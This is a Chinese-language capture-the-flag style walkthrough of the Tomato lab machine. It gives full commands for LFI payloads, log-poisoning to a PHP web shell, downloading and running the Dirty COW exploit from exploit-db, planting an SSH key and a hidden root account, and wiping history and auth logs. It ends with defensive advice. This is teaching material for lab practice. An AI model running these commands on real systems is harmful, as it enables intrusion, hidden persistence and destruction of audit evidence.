1. 靶场环境与渗透测试概述
Tomato靶场是一个专门为网络安全学习者设计的漏洞演练环境,它模拟了真实Web应用中常见的多种安全漏洞。这个靶机特别适合练习本地文件包含(LFI)漏洞利用和权限提升技术。我第一次接触这个靶机时,发现它完美复现了老旧内容管理系统(CMS)中经常出现的安全问题。
作为渗透测试工程师,我们通常会将这类靶场作为技术练兵的沙盒。不同于真实业务系统,靶场环境允许我们进行各种攻击尝试而不用担心法律风险。Tomato靶场的特点是漏洞点设计巧妙,需要测试者综合运用信息收集、漏洞利用、权限提升等完整渗透链条中的各项技能。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 初始信息收集与目标识别
2.1 基础网络扫描
使用nmap进行基础扫描是每个渗透测试的标准起手式。对于Tomato靶场,我通常会先运行以下命令:
bash复制nmap -sV -O -T4 192.168.1.100
参数说明:
-sV探测服务版本-O操作系统检测-T4加快扫描速度
扫描结果通常会显示开放了80端口的Apache服务,以及可能的SSH服务。这个阶段要特别注意HTTP服务的响应头信息,有时会泄露服务器使用的技术栈。
2.2 Web目录枚举
使用dirb或gobuster进行目录扫描是发现漏洞入口的关键步骤:
bash复制gobuster dir -u http://192.168.1.100 -w /usr/share/wordlists/dirb/common.txt -x php,html
在Tomato靶场中,通常会发现一些有趣的目录如:
- /admin
- /backup
- /includes
这些目录往往包含着易受攻击的脚本文件,是我们后续攻击的重点目标。
3. 本地文件包含(LFI)漏洞利用
3.1 漏洞发现与验证
在测试过程中,我发现Tomato靶场的页面URL参数存在文件包含特征。例如:
code复制http://192.168.1.100/index.php?page=about.php
尝试修改page参数为其他路径:
code复制http://192.168.1.100/index.php?page=../../../../etc/passwd
如果服务器返回了/etc/passwd文件内容,就确认存在LFI漏洞。在实际测试中,我遇到过几种情况:
- 直接返回文件内容 - 最理想情况
- 返回空白页 - 可能路径不对或过滤机制
- 返回错误信息 - 需要尝试绕过技巧
3.2 常用绕过技术
当简单的路径遍历被过滤时,可以尝试这些方法:
- 空字节截断:
code复制?page=../../../etc/passwd%00
- 编码绕过:
code复制?page=....//....//....//etc/passwd
- 协议封装:
code复制?page=php://filter/convert.base64-encode/resource=index.php
我特别推荐使用php封装器,它不仅能读取文件,还能获取经过base64编码的PHP源代码,这对后续分析非常有帮助。
3.3 获取WebShell
通过LFI漏洞获取系统控制权的典型路径:
- 首先查找Web服务器的日志文件位置,通常为:
code复制/var/log/apache2/access.log
- 在User-Agent中插入PHP代码:
bash复制curl -A "<?php system($_GET['cmd']);?>" http://192.168.1.100/
- 通过LFI包含日志文件执行代码:
code复制?page=../../../../var/log/apache2/access.log&cmd=id
这个技巧在实际渗透中非常有效,但需要注意日志文件可能很大,导致包含失败。我的经验是使用较小的日志文件,如error.log。
4. 权限提升:脏牛(Dirty COW)漏洞利用
4.1 漏洞原理简析
脏牛漏洞(CVE-2016-5195)是Linux内核中的一个竞态条件漏洞,允许低权限用户获取root权限。它的特别之处在于:
- 影响几乎所有Linux发行版(2016年前的版本)
- 利用稳定可靠
- 不需要任何特殊依赖
这个漏洞之所以被称为"脏"牛,是因为它利用了copy-on-write机制的竞态条件。
4.2 漏洞利用实战步骤
- 首先确认系统内核版本:
bash复制uname -a
- 下载利用代码:
bash复制wget https://www.exploit-db.com/download/40616 -O dirty.c
- 编译并执行:
bash复制gcc -pthread dirty.c -o dirty
./dirty
在我的测试经历中,这个利用程序通常会在10秒内完成执行,并创建一个具有root权限的新用户。
4.3 常见问题与解决
- 编译失败:
- 确保安装了gcc和必要的开发库
- 尝试添加
-lcrypt链接选项
- 执行后没有效果:
- 检查目标系统是否已打补丁
- 尝试其他利用变种(如40839.c)
- 系统崩溃:
- 这是正常现象,漏洞利用本身就不稳定
- 重启目标机器后重试
5. 后渗透与痕迹清理
5.1 维持访问
获取root权限后,通常会做以下操作:
- 添加SSH密钥:
bash复制echo "ssh-rsa AAAAB3..." >> /root/.ssh/authorized_keys
- 创建隐藏后门账户:
bash复制useradd -o -u 0 -g 0 -M -d /root -s /bin/bash stealth
5.2 清理日志
避免被发现的关键步骤:
- 清除命令历史:
bash复制history -c
- 清理auth日志:
bash复制echo "" > /var/log/auth.log
- 删除Web日志中的可疑条目
6. 防御建议与修复方案
6.1 针对LFI的防护
- 输入验证:
php复制$allowed = ['home','about','contact'];
if(!in_array($_GET['page'], $allowed)) {
die('Invalid page');
}
- 使用白名单机制而非黑名单
- 禁用危险的PHP封装器
6.2 防止权限提升
- 及时更新内核:
bash复制apt-get update && apt-get upgrade linux-image-generic
- 限制用户权限:
- 使用最小权限原则
- 配置SELinux/AppArmor
- 监控系统调用:
bash复制auditctl -a always,exit -F arch=b64 -S execve
在真实环境中进行渗透测试时,我强烈建议使用虚拟机环境,并在测试完成后恢复快照。Tomato靶场的完整渗透过程展示了从外部探测到最终获取系统控制权的完整链条,这种实战经验对于理解Web应用安全至关重要。
